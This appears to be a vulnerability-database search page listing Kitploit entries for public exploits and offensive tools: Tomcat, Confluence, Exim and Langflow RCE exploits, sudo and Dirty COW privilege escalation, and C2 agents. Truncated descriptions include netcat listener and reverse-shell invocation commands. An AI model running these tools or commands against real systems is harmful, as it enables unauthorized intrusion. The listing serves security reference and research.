Lucene search
+L

34979 matches found

Kitploit
Kitploit
added 2026/09/12 7:43 a.m.9 views

SSRFX

CVE-2014-4210+Redis未授权访问 安装 root@kitploit: pip install -r requirements.txt 使用 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...

5CVSS8.5AI score0.38152EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/09/12 6:53 a.m.11 views

CVE-2017-12617

Primeros pasos El propósito de esta Prueba de Concepto es demostrar cómo es posible usar la vulnerabilidad CVE-2017-12617 para tener control remoto sobre un servidor Apache Tomcat. Instrucciones 1. Por favor, ejecute este comando para iniciar el servidor. make serverup 2. Ejecute este comando par...

8.1CVSS7.6AI score0.99988EPSS
SaveExploits23References1
Kitploit
Kitploit
added 2026/09/12 6:44 a.m.8 views

cve-2020-14008

Exploit CVE-2020-14008 para ManageEngine ¿Qué es esto? Este script explota la CVE-2020-14008 en ManageEngine Applications Manager para obtener una reverse shell con privilegios SYSTEM. Requisitos root@kitploit: pip3 install requests urllib3 Cómo usarlo 1. Inicia un listener root@kitploit: nc -nlv...

7.2CVSS7.4AI score0.40056EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/12 6:38 a.m.6 views

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introducción Investigué un zero-day de SharePoint llamado ToolShell CVE-2025-53770 en el laboratorio de LetsDefend. Simulé un ataque zero-day del mundo real en el que una petición POST maliciosa omitió la autenticación, ejecutó...

9.8CVSS8.3AI score0.99998EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/12 6:35 a.m.8 views

PoC_CVE-2019-10149--rce

Acerca de Ejecución remota de comandos en shell desde un servicio exim vulnerable. Las versiones vulnerables van de 4.87 a 4.91 inclusive. Consulta https://nvd.nist.gov/vuln/detail/cve-2019-10149. El siguiente script se basa en el PoC de Qualys. Consulta...

10CVSS8.6AI score0.99961EPSS
SaveExploits27
Kitploit
Kitploit
added 2026/09/12 6:34 a.m.6 views

langflow-rce-exploit

Langflow RCE 漏洞利用 CVE-2025-3248 针对 Langflow 的远程代码执行漏洞利用 CVE-2025-3248 功能特点 自动漏洞检测 多种利用模式: 交互式 Shell 单命令执行 反弹 Shell 连接 文件上传能力 彩色用户界面 多种反弹 Shell 方法 命令历史持久化 📌 更新日志 v2.0 ✨ 新特性: 高级 Payload 系统 ,支持 5 种执行方式 文件上传/下载 ,使用 Base64 编码 持久化 (通过 cron 任务,persist 命令) 交互式 Shell 升级 : upload localpath remotepath...

9.8CVSS8.9AI score0.9999EPSS
SaveExploits37References1
Kitploit
Kitploit
added 2026/09/12 6:18 a.m.11 views

Heroinn

Heroinn Una implementación de framework C2/post-explotación multiplataforma en Rust. Este proyecto es solo para fines de investigación y estudio, y cualquier comportamiento ilegal que haga uso de este proyecto no tiene relación con el mismo. Características GUI Shell PTY interactiva Recopilación ...

5.7AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 6:15 a.m.13 views

PyHmmm

PyHmmm ¿Qué es esto? Esto es un agente de terceros para Havoc C2 escrito en python. Está pensado como un PoC básico para aprender a escribir agentes personalizados de Havoc, con su publicación de blog correspondiente...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 5:48 a.m.34 views

FShell

FShell Descripción FShell es mi implementación de un Forward Shell. Está diseñado para obtener una tty interactiva usando ejecución remota de código a través de un protocolo sin estado p. ej. HTTP. ¿Por qué debería usar un forward shell? El servidor remoto no puede acceder a internet, no hay...

6.2AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 5:47 a.m.9 views

DirCreate2System

DirCreate2System Explotando bugs de creación de directorios privilegiados con Windows Error Reporting para obtener NT AUTHORITY\SYSTEM Breve descripción: He descubierto que comctl32.dll que falta en el directorio del sistema que realmente no existe es cargado por wermgr.exe a través del informe d...

5.7AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/12 5:28 a.m.7 views

CVE-2019-0232

CVE-2019-0232 Descripción Esta es una herramienta que automatiza el flujo de trabajo de explotación para CVE‑2019‑0232 proporcionando tanto el modo de ejecución de comandos como el modo de shell inversa. Soporta codificación automática de URLs para comandos, inicia un servidor HTTP temporal para...

9.3CVSS8AI score0.99652EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/12 5:09 a.m.9 views

CVE-2022-25765

Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: root@kitploit: nc -lvnp 4444 2. Ejecuta el exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...

9.8CVSS8.4AI score0.42961EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/12 4:20 a.m.8 views

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage 反弹shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 执行命令 python3 CVE-2022-22947.py 目标网址 命令...

10CVSS8.1AI score0.98253EPSS
SaveExploits54
Kitploit
Kitploit
added 2026/09/12 4:04 a.m.7 views

CVE-2023-22809-sudoedit-privesc

CVE-2023-22809 escalada de privilegios sudo Versiones de sudo afectadas: 1.8.0 a 1.9.12p1 Este script automatiza la explotación de la vulnerabilidad CVE-2023-22809 para obtener un shell de root. El script verifica si el usuario actual tiene acceso para ejecutar el comando sudoedit o sudo -e para...

7.8CVSS7.5AI score0.55367EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/12 3:56 a.m.9 views

cve-2018-2628

cve-2018-2628 cve-2018-2628 反弹shell 文章 https://pi.wrysunnylove.cn/archives/58...

9.8CVSS8.6AI score0.99448EPSS
SaveExploits70
Kitploit
Kitploit
added 2026/09/12 3:49 a.m.6 views

CVE-2022-26134

Explotación Activa de Confluence CVE-2022-26134 Descripción General CVE-2022-26134 es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta a Atlassian Confluence. Esta vulnerabilidad permite a atacantes no autenticados ejecutar código arbitrario mediante la inyección de...

9.8CVSS9.1AI score0.99999EPSS
SaveExploits77
Kitploit
Kitploit
added 2026/09/12 3:42 a.m.9 views

cve-2023-22527

Ejecución de Código Arbitrario en la Memoria de Confluence CVE-2023-22527 es una vulnerabilidad ampliamente conocida que afecta a Atlassian Confluence. La mayoría de los exploits para esta vulnerabilidad utilizan freemarker.template.utility.Execute para ejecutar un comando del sistema operativo,...

10CVSS8.7AI score0.99984EPSS
SaveExploits34References1
Kitploit
Kitploit
added 2026/09/12 3:32 a.m.9 views

CVE-2017-8869

CVE-2017-8869 - MediaCoder 0.8.48.5888 - Desbordamiento de búfer local SEH Exploit reescrito con opción de shell inversa...

7.8CVSS7.3AI score0.15892EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/12 3:01 a.m.17 views

CVE-2025-28915

CVE-2025-28915 - Exploit de Subida Arbitraria de Archivos en WordPress ThemeEgg ToolKit 📌 Descripción Una vulnerabilidad de Subida de Archivos Sin Restricciones en el plugin ThemeEgg ToolKit para WordPress versiones ≤ 1.2.9 permite a atacantes autenticados subir webshells al servidor. Esto puede...

9.1CVSS8.5AI score0.01272EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/12 2:57 a.m.8 views

dirtycow-vdso

0xdeadbeef PoC para Dirty COW CVE-2016-5195. Este PoC se basa en ptrace en lugar de /proc/self/mem para parchear vDSO. Tiene algunas ventajas sobre los PoCs que modifican binarios del sistema de archivos: no requiere un binario setuid bypass de SELinux escape de contenedores sin caída del kernel...

7.2CVSS7.3AI score0.83524EPSS
SaveExploits92References1
Rows per page
Query Builder